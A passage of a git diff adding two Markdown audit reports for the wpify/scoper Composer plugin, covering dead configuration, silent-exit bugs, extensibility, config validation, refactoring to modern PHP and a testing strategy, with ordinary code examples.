and +become visible (a constraint mismatch can warn); users add their own without forking; +each patcher is independently testable. **Downside:** more moving parts than a single +closure; needs a lock-file read. **Note:** F1 and F7 apply to the generic +un-prefixing block, which stays where it is — it is not a per-package patcher. + +--- + +## 7. `config/scoper.config.php` (F16, Low, S) + +```php + 'WordPressDeps', + 'source' => getcwd() . '/vendor-source/', + 'destination' => getcwd() . '/vendor-scoped/', +); +``` + +All three keys are unconditionally overwritten in +`Plugin::createScoperConfig()` (`src/Plugin.php:218-220`) before the file is +re-emitted to the temp dir at `:263`. The shipped values are never used: +`'WordPressDeps'` is not the documented default prefix (there is none — +`src/Plugin.php:59` sets `'prefix' => null` and `execute()` no-ops when it's empty), +and `vendor-source/` / `vendor-scoped/` appear nowhere else in the repo or README. + +So the file's only real function is to be a valid array that `require_once` returns +at `:212`. It is misleading dead configuration: a reader reasonably concludes +`WordPressDeps` is the fallback prefix, and it isn't. + +**Fix:** either delete the file and inline +`$config = array( 'exclude-constants' => array( 'NULL', 'TRUE', 'FALSE' ) );` at +`src/Plugin.php:212`, or keep it as the single place where **genuine** php-scoper +defaults live (the `expose-global-*` flags currently hardcoded at +`config/scoper.inc.php:108-110` are a better fit) and drop the three phantom keys. +I'd keep the file for the second purpose — it gives users one obvious place to look. + +**Benefit:** removes a false lead. **Downside:** none. + +### F17 — `require_once` returns `true` on a second call → silent `exit` (Low, S) + +`src/Plugin.php:212-216`: + +```php +$config = require_once $config_path; + +if ( ! is_array( $config ) ) { + exit; +} +``` + +`require_once` returns `true` (not the array) if the file was already included in +this process. `execute()` is subscribed to both `POST_INSTALL_CMD` and +`POST_UPDATE_CMD` (`:44-49`), so a second invocation in one process would hit the +bare `exit` — no message, no exit code, no diagnostics. Same pattern at +`config/scoper.inc.php:5`. + +**Fix:** use `require` (not `require_once`), and replace the bare `exit` with a +thrown exception or `$this->io->writeError()` + `exit(1)`. + +--- + +## 8. Extensibility (F11, Medium, M) + +Today the only lever is `extra.wpify-scoper.globals`, and its values must come from a +hardcoded set of five, matched by an if-chain in `Plugin::createScoperConfig()` +(`src/Plugin.php:223-256`). There is: + +- no way to supply your own symbol file; +- no way to add symbols for other WP-ecosystem packages a project depends on + (ACF, Elementor, Yoast, Gravity Forms, EDD, Polylang, WPML …); +- no validation — an unknown value in `globals` is silently ignored, so a typo like + `"woo-commerce"` disables WooCommerce exclusions with no warning and produces a + build that fatals at runtime; +- an undocumented sixth value (`plugin-update-checker`) that crashes if used alone + (F5). + +The if-chain is also five near-identical blocks — a textbook case for a map. + +**Proposal:** + +**Step 1 (S) — replace the if-chain with a provider map.** In `Plugin`: + +```php +private const BUNDLED_SYMBOLS = array( + 'action-scheduler' => 'action-scheduler.php', + 'plugin-update-checker' => 'plugin-update-checker.php', + 'woocommerce' => 'woocommerce.php', + 'wordpress' => 'wordpress.php', + 'wp-cli' => 'wp-cli.php', +); +``` + +and iterate `$this->globals`, warning via `$this->io` on an unknown key. Immediately +fixes the silent-typo failure mode and deletes 30 lines. + +**Step 2 (S) — accept user-supplied symbol files.** A new key: + +```json +{ + "extra": { + "wpify-scoper": { + "globals": ["wordpress", "woocommerce"], + "symbols": [ + "symbols/acf.php", + "vendor/acme/wp-symbols/elementor.php" + ] + } + } +} +``` + +Each path is resolved relative to `getcwd()`, `require`d, validated to be an array +whose keys are all `exclude-*`/`expose-*`, and merged with the same +`array_merge_recursive` + de-dupe as the bundled ones. ~20 lines. + +**Step 3 (M) — make the extractor reusable.** `scripts/extract-symbols.php` is +currently a script with four hardcoded `extract_symbols(...)` calls at `:151-155`. +Extract the collector into `src/SymbolExtractor.php` and expose a composer command +(the plugin already implements `CommandProvider`): + +``` +composer wpify-scoper extract-symbols --from=wp-content/plugins/advanced-custom-fields --to=symbols/acf.php +``` + +Now a user with a proprietary or niche must-not-scope plugin generates their own list +with the same tool, no fork required — and the maintainers' own regeneration becomes +four invocations of a supported command rather than a script nobody else can use. + +**Benefit:** the tool stops being WordPress-plus-four-hardcoded-plugins and becomes a +WordPress scoper with a symbol-list mechanism. **Downside:** a public command and +config key to keep stable; user-supplied files are `require`d, so document that they +must be trusted (no worse than `scoper.custom.php`, which is also `require`d). + +--- + +## Recommended order + +1. **F1** — anchor the patcher replacement (silent runtime fatals, scales with usage). +2. **F3 + F4** — delete the PUC patchers and the stale symbol file (fatal today). +3. **F2 + F6 + F10 + F14** — one `SymbolCollector` visitor; regenerate. +4. **F5** — default the `exclude-*` keys in `scoper.inc.php`. +5. **F8.2** — sort + reindex the export (unlocks reviewable diffs for everything after). +6. **F7 + F20** — hoist the needle table; de-dupe the merge. +7. **F9 + F15** — prune the dead Twig and Guzzle patchers. +8. **F8.1/8.3/8.4** — provenance header, pinned sources, CI regeneration. +9. **F11** — provider map → user symbol files → `extract-symbols` command. +10. **F16 + F17 + F18 + F19** — cleanups. + +Steps 1–4 are all severity-High or their direct prerequisites and are each S effort. + +--- + +## Reproducing the measurements + +Scripts written to +`/private/tmp/claude-503/-Users-wpify-projects-scoper/a8a9361a-6f4f-45a7-9ff3-d48b90efa403/scratchpad/`: + +| script | what it measures | +|---|---| +| `analyze.php` | parse failures at PHP 8.1.0 vs 8.4.0 (F19) | +| `missed.php` | production `resolve()` vs full-AST ground truth (F2, F6, F12, F13, F14) | +| `chain.php` | AST enclosing chain for each missed symbol (F2) | +| `tests.php` | test-directory symbol contamination (F18) | +| `overlap.php` | cross-list duplication, redundant namespaces, merged config size (F20) | +| `bench.php` | require/merge/`var_export` timings, patcher cost (F7) | +| `formats.php` | PHP vs JSON load cost and on-disk size (§3) | + +Nothing under `symbols/`, `src/`, `config/` or `scripts/` was modified. diff --git a/docs/improvements/04-quality-tooling-dx.md b/docs/improvements/04-quality-tooling-dx.md new file mode 100644 index 0000000..bfb1fd3 --- /dev/null +++ b/docs/improvements/04-quality-tooling-dx.md @@ -0,0 +1,950 @@ +# 04 — Code Quality, Testability, Project Hygiene & DX + +**Audit date:** 2026-07-27 +**Scope:** `src/Plugin.php`, `scripts/*.php`, `bin/wpify-scoper`, `config/*.php`, `composer.json`, `README.md`, `.gitignore`, git history/tags. +**Excluded:** `sources/`, `vendor/` (both git-ignored, never shipped). +**Latest tag:** `3.2.21` (2025-05-07), 1 commit on `master` since. + +--- + +## 0. Executive summary + +| # | Finding | Severity | Effort | +|---|---------|----------|--------| +| 1 | `require: php ^8.1` is unsatisfiable — `wpify/php-scoper` requires `^8.2` | **critical** | S | +| 2 | Missing/invalid `prefix` silently does nothing (`Plugin.php:127`) | **critical** | S | +| 3 | Zero tests, zero CI — every release is hand-verified | **high** | L | +| 4 | `exit;` inside library code (`Plugin.php:215`) — no message, kills host process | **high** | S | +| 5 | `getCapabilities()` is dead code and would fatal if ever called (`Plugin.php:104`) | **high** | S | +| 6 | `*_NO_DEV_CMD` constants are unreachable — dead feature (`Plugin.php:19,21`) | **medium** | S | +| 7 | `createPath(..., true)` vendor-dir detection is string-matching (`Plugin.php:269`) | **high** | S | +| 8 | Empty `globals` produces undefined-key TypeError in `config/scoper.inc.php:79` | **high** | S | +| 9 | PHP 5-era style throughout `Plugin.php` (no strict_types, no types, `array()`) | **medium** | M | +| 10 | 306-line god class — 7 distinct responsibilities | **medium** | M | +| 11 | No PHPStan / no CS config / no `.editorconfig` | **medium** | M | +| 12 | No `.gitattributes` `export-ignore` (smaller problem than it looks — see §7) | **low** | S | +| 13 | No CHANGELOG, no release notes, README "Requirements" stale at 3.2 | **medium** | S | +| 14 | README has no failure/troubleshooting/`scoper.custom.php` discovery docs | **medium** | M | + +Two findings are worth correcting up front relative to common assumptions: + +* **`sources/` and `vendor/` do not ship.** They are git-ignored and untracked. `git ls-files` returns exactly 14 files. The `.gitattributes` gap is therefore a *minor* hygiene issue, not a payload problem (§7). +* **A dependency's `repositories` and `require-dev` are ignored by Composer.** Verified against the docs — the `wpackagist.org` repository and the WordPress/WooCommerce dev requirements in the published `composer.json` have **zero** effect on consumers (§7). + +--- + +## 1. PHP baseline & modern PHP usage + +### 1.1 The supported-version window + +Verified at (fetched 2026-07-27): + +| Branch | Active support until | Security support until | Status on 2026-07-27 | +|--------|---------------------|------------------------|----------------------| +| 8.2 | 2024-12-31 | **2026-12-31** | security-only, EOL in ~5 months | +| 8.3 | 2025-12-31 | 2027-12-31 | security-only | +| 8.4 | 2026-12-31 | 2028-12-31 | **active** | +| 8.5 | 2027-12-31 | 2029-12-31 | **active** | + +Intersected with `wpify/php-scoper` (`vendor/wpify/php-scoper/composer.json` → `"php": "^8.2"`): + +> **Supported window = PHP 8.2 – 8.5, with 8.2 dropping out on 2026-12-31.** + +### 1.2 CRITICAL — `composer.json:31` declares an unsatisfiable constraint + +`composer.json:31` says `"php": "^8.1"` but `wpify/php-scoper` requires `^8.2`. + +On PHP 8.1 a consumer gets a resolver error naming a *transitive* package rather than a clear "wpify/scoper needs PHP 8.2" message. The declared constraint is a lie that only surfaces as a confusing failure. + +* **Fix:** `"php": "^8.2"` today; plan `"php": ">=8.3"` for the next major after 2026-12-31. +* **Benefit:** honest resolution, correct error message, and it unlocks every 8.2 language feature below. +* **Downside:** consumers still on 8.1 can no longer `composer require` — but they cannot install today either, so nothing real is lost. +* **Severity: critical. Effort: S.** + +### 1.3 What changes under an 8.2+ baseline + +`src/Plugin.php` is written in a PHP 5.x dialect. Concretely: + +| Location | Current | 8.2+ | +|---|---|---| +| top of file | no `declare(strict_types=1)` | add it | +| `Plugin.php:23-24` | `protected $composer; protected $io;` | typed `private readonly` promoted properties | +| `Plugin.php:26-42` | `/** @var string */ private $folder;` ×6 | typed properties, or replaced by a `Configuration` object (§2) | +| `Plugin.php:18-21` | four `const` strings used as a pseudo-enum | `enum ScoperCommand: string` | +| `Plugin.php:159-195` | 5 sequential `if`/`===` chains over `$event->getName()` | one `match` on the enum | +| `Plugin.php:45,56,105,137,296` | `array(...)` | `[...]` | +| `Plugin.php:44,51,98,101,104,110,116` | no return types | `void`, `array`, `string`, `never` | +| `Plugin.php:201,268,278,284,290` | no return types on private methods | `string`, `void` | +| `Plugin.php:215` | `exit;` | throw; the throwing helper gets `: never` | +| `Plugin.php:44,51,98,101` | interface methods unmarked | `#[\Override]` | +| `Plugin.php:223-256` | five near-identical `in_array` blocks | `array_intersect` + loop, or first-class callable pipeline | + +#### Before / after — the highest-value three + +**(a) The command pseudo-enum → real enum + `match`.** This kills 30 lines of repeated string comparison at `Plugin.php:159-195` and makes the `no-dev` variants reachable (§3.3). + +*Before* (`Plugin.php:159-195`, condensed): + +```php +$scriptName = $event->getName(); +if ( $event->getName() === self::SCOPER_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD ) { + $scriptName = ScriptEvents::POST_UPDATE_CMD; +} +if ( $event->getName() === self::SCOPER_INSTALL_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { + $scriptName = ScriptEvents::POST_INSTALL_CMD; +} +// ... +$command = 'install'; +if ( $event->getName() === ScriptEvents::POST_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD ) { + $command = 'update'; +} +$useDevDependencies = true; +if ( $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { + $useDevDependencies = false; +} +``` + +*After:* + +```php +enum ScoperCommand: string { + case Install = 'scoper-install-cmd'; + case InstallNoDev = 'scoper-install-no-dev-cmd'; + case Update = 'scoper-update-cmd'; + case UpdateNoDev = 'scoper-update-no-dev-cmd'; + case PostInstall = ScriptEvents::POST_INSTALL_CMD; // 'post-install-cmd' + case PostUpdate = ScriptEvents::POST_UPDATE_CMD; // 'post-update-cmd' + + public function composerCommand(): string { + return match ( $this ) { + self::Update, self::UpdateNoDev, self::PostUpdate => 'update', + default => 'install', + }; + } + + public function scriptHook(): string { + return match ( $this ) { + self::Update, self::UpdateNoDev, self::PostUpdate => ScriptEvents::POST_UPDATE_CMD, + default => ScriptEvents::POST_INSTALL_CMD, + }; + } + + public function withDev(): bool { + return ! in_array( $this, [ self::InstallNoDev, self::UpdateNoDev ], true ); + } +} +``` + +Call site becomes three lines. Adding a fifth command now fails loudly at every `match` instead of silently falling through to `install`. + +* **Benefit:** the three derived values become total functions of one input — trivially unit-testable with a data provider, no filesystem needed. This is the single best testability win in the file. +* **Downside:** `ScoperCommand::from()` throws on an unknown event name; use `tryFrom()` + early return at the boundary. +* **Severity: medium. Effort: S.** + +**(b) Constructor promotion + readonly + strict types.** + +*Before* (`Plugin.php:16-42`, `51-96`): 20 lines of untyped property declarations, then six `$this->x = $configValues['x']` assignments at the bottom of `activate()`. + +*After:* + +```php +config = Configuration::fromExtra( + $composer->getPackage()->getExtra()['wpify-scoper'] ?? [], + getcwd(), + ); + } +``` + +with the six scalars living on an immutable value object: + +```php +final readonly class Configuration { + public function __construct( + public string $prefix, + public string $folder, + public string $tempDir, + public string $composerJson, + public string $composerLock, + /** @var list */ public array $globals, + public bool $autorun, + ) {} +} +``` + +* **Benefit:** `readonly` makes it impossible for a future patcher to mutate `$prefix` mid-run; `strict_types` turns "`prefix` was accidentally an int" into an immediate TypeError instead of an odd namespace. +* **Downside:** `Plugin` still needs `?Configuration` nullable because Composer's `PluginInterface` mandates a no-arg constructor — accept the one nullable field, fail fast on it in `execute()`. +* **Severity: medium. Effort: S–M.** + +**(c) `exit;` → typed exception with `: never`.** See §3.4. + +**(d) Lower-value but free:** `array()` → `[]` (mechanical, do it in the same commit as CS tooling so the diff is one reviewable blob); `#[\Override]` on `activate`/`deactivate`/`uninstall`/`getSubscribedEvents`; `str_contains()` instead of `strpos(...) !== false` in `config/scoper.inc.php:40,44,48,52,57,67,71,75`. + +**Named arguments / first-class callables:** genuinely low value here. `$application->run(new ArrayInput([...]), $output)` has two params; `$this->path(...)` is variadic. Do not force them in — that would be change for its own sake. + +--- + +## 2. Architecture / SOLID + +`src/Plugin.php` is 306 lines doing seven jobs: + +| Lines | Responsibility | +|---|---| +| 51-96 | config parsing + defaulting | +| 110-114 | path normalisation | +| 148-157 | template rendering (`str_replace` on `postinstall.php`) | +| 201-266 | scoper-config assembly + symbol merging | +| 268-282 | vendor-dir detection + `mkdir` | +| 284-288 | JSON writing | +| 290-305 | nested Composer process invocation | + +### 2.1 Recommended decomposition (what is actually worth extracting) + +Applying **YAGNI > speculative SOLID** and **Rule of Three** — here is the honest split. + +#### ✅ EXTRACT — `Configuration` (value object + factory + validation) + +```php +final readonly class Configuration { + public static function fromExtra( array $extra, string $cwd ): self; // throws ConfigurationException + // public promoted props: prefix, folder, tempDir, composerJson, composerLock, globals, autorun +} +``` + +* **Why:** it is pure (array in, object out), it is where the two critical bugs live (§3), and it is 100 % unit-testable with no filesystem. Highest value-per-line in the whole refactor. +* **Effort: S.** + +#### ✅ EXTRACT — `ScoperConfigFactory` + +```php +final class ScoperConfigFactory { + public function __construct( private readonly string $symbolsDir, private readonly string $packageRoot ) {} + /** @return array */ + public function build( Configuration $config, string $source, string $destination ): array; +} +``` + +Replaces `Plugin.php:201-266`. Note it should return the **array**, and a separate one-line caller writes it — that keeps the merge logic pure and testable while the write stays trivial. + +* **Why:** the `array_merge_recursive` symbol merging (`Plugin.php:223-256`) is real logic with a real bug class (order-dependence, duplicate accumulation), and it is exactly what a golden-file test should pin. +* **Effort: S–M.** + +#### ✅ EXTRACT — `ComposerRunner` + +```php +interface ComposerRunner { public function run( string $workingDir, string $command, bool $withDev ): int; } +final class ApplicationComposerRunner implements ComposerRunner { /* current Plugin::runInstall body */ } +``` + +* **Why:** this is the *one* place where an interface is justified today, because there is a concrete second implementation needed **now** — the test double. `new Application()` inline (`Plugin.php:292`) makes `execute()` permanently untestable (§4.3). One real caller + one real test caller = not speculative. +* **Effort: S.** + +#### ⚠️ MAYBE — `SymbolsRegistry` + +Only if the `if ( in_array( 'x', $globals ) ) { merge symbols/x.php }` block (`Plugin.php:223-256`) grows past its current five entries, or if the "unknown global name" validation (§3.2) needs a canonical list. A `SymbolsRegistry` that just does `glob(symbols/*.php)` and maps basename → path is ~15 lines and removes the hardcoded five-way repetition. Worth it as part of the `ScoperConfigFactory` extraction, **not** as its own class with an interface. + +* **Verdict:** fold into `ScoperConfigFactory` as a private method. Rule of Three says five repetitions justify the loop; it does not justify a new type. + +#### ❌ YAGNI — `TempWorkspace` + +The temp-dir lifecycle is currently: create three dirs (`Plugin.php:208-210`), and delete them from `scripts/postinstall.php:67`. A `TempWorkspace` class would be a 20-line wrapper over `mkdir`. It only earns its keep if you also fix the real problem — that cleanup lives in a *generated child-process script*, so a failure anywhere leaves `tmp-XXXXXXXXXX/` orphaned in the project root. If you do fix that (a `try/finally` in `execute()`), then `TempWorkspace` with `create()`/`path()`/`destroy()` becomes justified. Otherwise skip. + +* **Verdict:** extract **only together with** the cleanup fix. Do not add the class alone. + +#### ❌ YAGNI — `PostInstallProcessor` + +The template rendering at `Plugin.php:148-157` is 10 lines of `str_replace`. Wrapping it in a class buys nothing today. What *is* worth doing is replacing the 7 chained `str_replace` calls with a single `strtr()` and a `%%key%%` map — 3 lines, same behaviour, and it makes "did every placeholder get substituted?" checkable: + +```php +$replacements = [ + '%%source%%' => $source, + '%%destination%%' => $destination, + '%%cwd%%' => $cwd, + '%%composer_lock%%' => $config->composerLock, + '%%deps%%' => $config->folder, + '%%temp%%' => $config->tempDir, + '%%prefix%%' => $config->prefix, +]; +$rendered = strtr( $template, $replacements ); +if ( str_contains( $rendered, '%%' ) ) { throw new \LogicException( 'Unsubstituted placeholder in postinstall template' ); } +``` + +* **Verdict:** inline improvement, no new class. **Effort: S.** + +#### ❌ YAGNI — a `Filesystem` abstraction + +`createFolder`/`createJson`/`path` are three trivial helpers. Composer already ships `Composer\Util\Filesystem` — use that instead of writing your own if you want the abstraction (`normalizePath`, `ensureDirectoryExists`, `removeDirectory` all exist and are better than the hand-rolled versions, including `scripts/postinstall.php`'s recursive `remove()`). + +* **Verdict:** delete `createFolder`/`path` in favour of `Composer\Util\Filesystem`. Composition over inheritance, zero new types, and it fixes the `//`-collapsing hack at `Plugin.php:113` which only collapses *doubled* separators, not `a/b/../c`. + +### 2.2 Resulting shape + +``` +Plugin (~70 lines) — Composer wiring only: activate() → Configuration, execute() → orchestration +Configuration (~60 lines) — validated readonly VO + fromExtra() factory +ScoperCommand (~30 lines) — enum + 3 match-based accessors +ScoperConfigFactory (~70 lines) — symbol merging + scoper config assembly +ComposerRunner (~25 lines) — interface + Application-backed impl +``` + +Roughly the same total LOC, but with three fully-unit-testable pure units and one seam. **Do not** go further than this — the remaining `Plugin::execute()` orchestration is genuinely procedural and splitting it more would trade readability for a class count. + +* **Severity: medium. Effort: M** (a focused 1–2 day refactor, best done *after* characterisation tests exist — see §4.5). + +--- + +## 3. Config validation + +### 3.1 CRITICAL — missing `prefix` silently does nothing + +`Plugin.php:127`: `if ( ! empty( $this->prefix ) ) { …everything… }`. + +If `extra.wpify-scoper.prefix` is absent, misspelled (`prefixe`), empty, or `"0"` (!), `execute()` returns having done *nothing at all*. `composer install` exits `0`. The user sees no `deps/` folder and no explanation. This is the worst DX bug in the project — the failure mode is total silence. + +Note `! empty()` also rejects the literal string `"0"`, which is a (pathological but legal) namespace segment. + +* **Fix:** fail fast in `Configuration::fromExtra()`. +* **Severity: critical. Effort: S.** + +### 3.2 HIGH — no validation of anything + +`Plugin.php:65-88` reads six keys with `! empty()` and: + +* never validates that `prefix` is a legal PHP namespace — `"My-Namespace"` or `"123Foo"` or `"Foo\\Bar"` all pass through into `scoper.config.php` and produce broken generated PHP far downstream; +* silently ignores unknown keys — a typo in `composerjson` → `composer-json` is undetectable; +* silently ignores wrong types — `globals: "wordpress"` (string, not array) is dropped by the `is_array()` guard at `:82` with no warning, and the user gets the defaults; +* `autorun` is read in a completely different place (`Plugin.php:120`) directly off `$extra`, using `=== false` so `"false"` (string, a common JSON mistake) does not disable it; +* never validates that a name in `globals` corresponds to a `symbols/*.php` file — `globals: ["wordpres"]` silently produces an unscoped-symbol-free build that breaks at runtime in WordPress. + +### 3.3 MEDIUM — dead `no-dev` feature + +`SCOPER_INSTALL_NO_DEV_CMD` / `SCOPER_UPDATE_NO_DEV_CMD` (`Plugin.php:19,21`) are checked at `:160,163,186,193` but **nothing ever emits them**. `bin/wpify-scoper` maps only `install` and `update` (`bin/wpify-scoper:14-20`), and Composer never fires those event names. The `--no-dev` path added in commit `2c1360b` is unreachable. + +* **Fix:** add `--no-dev` flag parsing to `bin/wpify-scoper` (one `in_array( '--no-dev', $argv, true )` check), or delete the constants. Currently the README does not mention the feature either, so nobody has noticed. +* **Severity: medium. Effort: S.** + +### 3.4 HIGH — `exit;` with no message + +`Plugin.php:212-216`: + +```php +$config = require_once $config_path; +if ( ! is_array( $config ) ) { exit; } +``` + +Two problems. First, `exit` inside a Composer plugin terminates the *host* Composer process with status 0 and no output whatsoever — indistinguishable from success. Second, `require_once` returns `true` (not the array) on the second call in the same process, so if `createScoperConfig()` is ever invoked twice in one Composer run — which the `post-install` + `post-update` double-subscription in `getSubscribedEvents()` makes possible — the second call takes the `exit` branch. Use `require`, not `require_once`. + +* **Fix:** `require` + `throw new \RuntimeException(...)`. +* **Severity: high. Effort: S.** + +### 3.5 HIGH — empty `globals` fatals in the patcher + +If `globals` is `[]` (a legitimate config — "scope everything"), none of the `array_merge_recursive` branches at `Plugin.php:223-256` runs, so `exclude-classes` and `exclude-namespaces` are never set on `$config`. `config/scoper.inc.php:79` then does `usort( $config['exclude-classes'], … )` → *Undefined array key* warning followed by `usort(): Argument #1 must be of type array, null given` **inside a php-scoper patcher**, i.e. mid-scope, with a stack trace nobody can act on. + +* **Fix:** seed `$config['exclude-classes'] = []; $config['exclude-namespaces'] = [];` before the merges (one line in `ScoperConfigFactory::build()`), and defensively `?? []` at `scoper.inc.php:79,95`. +* **Severity: high. Effort: S.** + +### 3.6 Proposed fail-fast `Configuration` + +```php + */ public array $globals, + public bool $autorun, + ) {} + + /** + * @param array $extra Contents of extra.wpify-scoper + * @param list $availableGlobals basenames of symbols/*.php + * @throws ConfigurationException + */ + public static function fromExtra( array $extra, string $cwd, array $availableGlobals ): self { + if ( $unknown = array_diff( array_keys( $extra ), self::KNOWN_KEYS ) ) { + throw ConfigurationException::unknownKeys( $unknown, self::KNOWN_KEYS ); + } + + $prefix = $extra['prefix'] ?? null; + if ( ! is_string( $prefix ) || $prefix === '' ) { + throw ConfigurationException::missingPrefix(); + } + if ( ! preg_match( self::PREFIX_PATTERN, $prefix ) ) { + throw ConfigurationException::invalidPrefix( $prefix ); + } + + $globals = $extra['globals'] ?? [ 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' ]; + if ( ! is_array( $globals ) ) { + throw ConfigurationException::wrongType( 'globals', 'array', get_debug_type( $globals ) ); + } + if ( $bad = array_diff( $globals, $availableGlobals ) ) { + throw ConfigurationException::unknownGlobals( $bad, $availableGlobals ); + } + + $composerJson = $extra['composerjson'] ?? 'composer-deps.json'; + $composerLock = $extra['composerlock'] ?? preg_replace( '/\.json$/', '.lock', $composerJson ); + + return new self( + prefix: $prefix, + folder: self::resolve( $cwd, $extra['folder'] ?? 'deps' ), + tempDir: self::resolve( $cwd, $extra['temp'] ?? 'tmp-' . bin2hex( random_bytes( 5 ) ) ), + composerJson: $composerJson, + composerLock: $composerLock, + globals: array_values( $globals ), + autorun: self::bool( $extra['autorun'] ?? true, 'autorun' ), + ); + } +} +``` + +The `PREFIX_PATTERN` deliberately allows `\`-separated multi-segment prefixes (php-scoper supports them) but rejects a leading `\`, trailing `\`, hyphens, and leading digits. + +**Diagnostic messages** — the payload of this whole section. Composer surfaces the exception message; make it actionable: + +``` +[wpify/scoper] Missing required configuration: extra.wpify-scoper.prefix + + The scoper needs a namespace to move your dependencies into. Add to composer.json: + + "extra": { + "wpify-scoper": { + "prefix": "MyPlugin\\Deps" + } + } + + See https://github.com/wpify/scoper#usage +``` + +``` +[wpify/scoper] Invalid namespace in extra.wpify-scoper.prefix: "My-Plugin Deps" + + A prefix must be a valid PHP namespace: letters, digits and underscores, + segments separated by "\\", not starting with a digit. + + Did you mean "My_Plugin\\Deps"? +``` + +``` +[wpify/scoper] Unknown key in extra.wpify-scoper: "composer-json" + + Did you mean "composerjson"? + Valid keys: prefix, folder, temp, globals, composerjson, composerlock, autorun +``` + +The "did you mean" is `levenshtein()`-based, ~6 lines, and is the difference between a five-minute and a two-hour debugging session. + +* **Severity: critical (covers 3.1) / high. Effort: M** (~150 lines + tests). + +### 3.7 Is a JSON schema for `extra.wpify-scoper` worth it? + +**Partially yes, but not as the validation mechanism.** + +* Composer does **not** validate `extra.*` against third-party schemas. `composer validate` checks Composer's own schema, and `extra` is `"type": "object"` with no constraints. So a JSON schema buys you **nothing at install time** — `Configuration::fromExtra()` remains the only real gate. Do not build the schema *instead of* the PHP validation. +* Where it *does* pay off is **editor autocomplete**. PhpStorm and VS Code both resolve `composer.json` against SchemaStore; a published schema fragment gives users inline completion and hover docs for `extra.wpify-scoper` while typing. That is a genuine DX win for a config whose keys are currently discoverable only by reading the README. +* **Recommendation:** ship `resources/wpify-scoper.schema.json` and submit it to SchemaStore *after* the PHP validation exists, and generate the "valid keys" list in error messages from the same source so they cannot drift. +* **Severity: low. Effort: S.** + +--- + +## 4. Testing strategy + +### 4.1 Current state + +Zero. No `tests/`, no `phpunit.xml`, no dev dependency on any test framework. `composer.json:36-44`'s `require-dev` is entirely WordPress/WooCommerce *sources* for symbol extraction, not tooling. Every one of the 65 tags was cut on manual verification. + +For a tool whose failure mode is "generates subtly broken PHP that fatals inside somebody else's WordPress site," this is the highest-leverage gap in the audit. + +### 4.2 Recommended tooling + +| Choice | Recommendation | Why | +|---|---|---| +| Framework | **PHPUnit 11.x** (`phpunit/phpunit: ^11.5`) | PHP 8.2+ native, attributes-based, `#[DataProvider]`. Pest would add a dependency layer for a 300-line codebase with no BDD audience. PHPUnit is what every Composer-plugin contributor already knows. | +| Fixture packages | hand-written `tests/fixtures/tiny-package/` | Do **not** pull real packages from Packagist in tests — network flakiness. | +| Golden files | plain `assertStringEqualsFile` + an `UPDATE_SNAPSHOTS=1` env guard | ~20 lines; `spatie/phpunit-snapshot-assertions` is fine too but adds a dep. | +| Process isolation | `symfony/process` (already transitively present via composer/composer) | For the integration tier. | + +### 4.3 What is untestable as written, and why + +| Location | Blocker | Minimal fix | +|---|---|---| +| `Plugin.php:57,58,66,87,134,135,141,151,177,178,275` — 11 `getcwd()` calls | Global process state. A test would have to `chdir()`, which is process-wide and breaks parallel tests. | Inject `string $cwd` into `Configuration::fromExtra()` and `ScoperConfigFactory`. **This is the single highest-value change** — it unlocks ~60 % of the file. | +| `Plugin.php:215` `exit;` | Kills the PHPUnit process. Cannot be asserted on without `@runInSeparateProcess` + `@preserveGlobalState disabled`, which is slow and fragile. | Throw. | +| `Plugin.php:292` `new Application()` | Hard-coded collaborator; running it would perform a real `composer install` with network access. | `ComposerRunner` interface (§2.1) + constructor injection with a default. | +| `Plugin.php:269` `strpos( dirname( __DIR__ ), 'vendor/wpify/scoper' )` | Depends on where the test runner's own file lives on disk. Untestable at all — the answer changes depending on the checkout path. | Inject the package root and vendor dir (§5.1). | +| `Plugin.php:212` `require_once $config_path` | Static include-once state — second call in the same process returns `true`. Test order becomes significant. | `require`, or better, `ScoperConfigFactory` takes the base config array as a constructor param. | +| `Plugin.php:58` `str_shuffle( md5( microtime() ) )` | Non-deterministic path in every assertion. | Inject the temp dir name (already configurable via `extra.temp` — just make the *default* injectable). | +| `scripts/extract-symbols.php:41` `static $parser` + top-level `extract_symbols()` calls at `:151-155` | The file is a script, not a library: requiring it *runs* the extraction against `sources/`. Global function names (`resolve`, `path`, `get_files`) also collide with anything else. | Wrap in a `SymbolExtractor` class under `src/`, keep `scripts/extract-symbols.php` as a 5-line CLI entry point. | +| `scripts/postinstall.php` | Entire file is top-level statements with `%%placeholder%%` literals — cannot be loaded, only string-substituted and shelled out. | Acceptable as-is; test it at the integration tier (§4.4b) by rendering + executing it against a fixture directory. | + +**Minimal refactor to make ~80 % testable: inject `$cwd`, inject `ComposerRunner`, replace `exit` with `throw`.** Three changes, maybe 40 lines of diff. Everything else is optional. + +### 4.4 The three test tiers + +**(a) Unit — pure logic. ~35 tests, no filesystem, milliseconds.** + +* `ConfigurationTest` — defaults; each override key; missing prefix throws; invalid prefix patterns (data provider: `""`, `"0"`, `"My-Ns"`, `"1Foo"`, `"\\Lead"`, `"Trail\\"`, `"A\\B"` ✅, `"Ünïcode"` ✅); unknown key throws with suggestion; `globals` non-array throws; `composerlock` derived from `composerjson`; `autorun` string `"false"` handling. +* `ScoperCommandTest` — data provider over all 6 cases × 3 accessors (`composerCommand`, `scriptHook`, `withDev`). 18 assertions, catches every regression in the §1.3(a) `match` tables. +* `PathTest` — `path()` joining, doubled-separator collapsing, Windows separator. (Or delete `path()` in favour of `Composer\Util\Filesystem` and test nothing.) +* `PostInstallTemplateTest` — render with a known map, assert exact output, assert no residual `%%`. +* `ScoperConfigFactoryTest` — `globals: []` produces `exclude-classes: []` not missing (regression test for §3.5); `globals: ['wordpress','woocommerce']` merges both without duplicates; merge is order-independent. + +**(b) Integration — real scoping of a tiny fixture. ~4 tests, ~30 s each.** + +``` +tests/fixtures/tiny-package/ + composer.json → requires nothing, or one vendored fixture package + vendor/acme/lib/src/Greeter.php → uses get_option() and a WP class +``` + +Test body: copy the fixture to a temp dir, run `Plugin::execute()` with a real `ComposerRunner` and `--no-network`/pre-vendored fixture, then assert on the output: + +* `deps/scoper-autoload.php` exists; +* `deps/acme/lib/src/Greeter.php` contains `namespace Test\Prefix\Acme\Lib;`; +* it still contains a bare `get_option(` — **not** 